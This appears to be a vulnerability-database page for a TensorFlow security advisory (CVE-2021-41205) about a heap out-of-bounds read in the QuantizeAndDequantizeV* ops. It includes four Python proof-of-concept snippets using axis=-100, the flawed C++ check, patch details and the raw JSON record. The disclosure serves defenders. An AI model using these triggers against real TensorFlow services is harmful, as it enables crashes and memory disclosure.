GHSA-49RX-X2RW-PC6F

Vulnerability from github – Published: 2021-11-10 19:04 – Updated: 2024-11-13 21:54
VLAI?
Summary
Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops
Details

Impact

The shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
    gradients=[1.0,1.0],
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    axis=-100)
  return data

test()

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV3(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    narrow_range=False,
    axis=-100)
  return data

test()

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV2(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

In all of these cases, axis is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:

...
if (axis != -1) {
  ...
  c->Dim(input, axis);
  ...
}

Patches

We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Severity ?
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-11-08T22:43:35Z",
    "nvd_published_at": "2021-11-05T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(\n    gradients=[1.0,1.0],\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV4(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    round_mode=\u0027HALF_TO_EVEN\u0027,\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV3(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV2(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    round_mode=\u0027HALF_TO_EVEN\u0027,\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\nIn all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:\n\n```cc\n...\nif (axis != -1) {\n  ...\n  c-\u003eDim(input, axis);\n  ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.\n",
  "id": "GHSA-49rx-x2rw-pc6f",
  "modified": "2024-11-13T21:54:10Z",
  "published": "2021-11-10T19:04:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rx-x2rw-pc6f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-615.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-813.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-398.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.